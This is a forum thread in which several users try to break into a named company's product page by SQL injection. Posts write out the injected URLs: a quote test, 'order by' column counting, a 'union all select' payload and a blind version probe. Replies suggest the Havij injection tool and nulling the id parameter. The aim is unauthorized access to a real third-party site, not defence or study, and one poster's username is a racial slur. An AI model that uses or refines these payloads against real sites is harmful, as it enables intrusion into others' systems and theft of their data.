[Dr. DYNAMO]

http://www.hawkingtech.com/products/index.php?CatID=32'
Its vulnerable

Error
http://www.hawkingtech.com/products/index.php?CatID=32 order by 13--

No error
http://www.hawkingtech.com/products/index.php?CatID=32 order by 12--
it means this site has 12 colums

Now we have to find vulnerable column but it doesn't show vulnerable column
http://www.hawkingtech.com/products/index.php?CatID=32 union all select 1,2,3,4,5,6,7,8,9,10,11,12--

What to do ?

[Dr. DYNAMO]

surprisingly no replies :(

[C.B.I]

If your a noob ,scan it with havij..

[PličkaMaterna]

Cant solve it...
Waiting for others =), will keep trying. Somehow blocks keywords...

[nigganigganigga]

I also can't solve it.. tried with lots of solutions.

[iUndead]

If your a noob ,scan it with havij..

And he's a noob... please.

[Error 403 - forbidden]

null the id:
catid=null

Edit: if pitvix cant do it, give up.

[iUndead]

uhh, let me try, ill update if i get it.

[J3di]

No progress here either.

This is too too short btw

[PličkaMaterna]

null the id:
catid=null

Edit: if pitvix cant do it, give up.

Dont think I can inject everything.
There are betters than me (vogel? hexon?)

[Harlsten]

try blind slq injection, maybe it'll work

---

Code

http://www.hawkingtech.com/products/index.php?CatID=32 and substring(@@version,1,1)=3

now you know its myslq 3, this isn't good news

[lord_edz]

if you can't help, shut up! i u can help, help with no other chitchat,,,,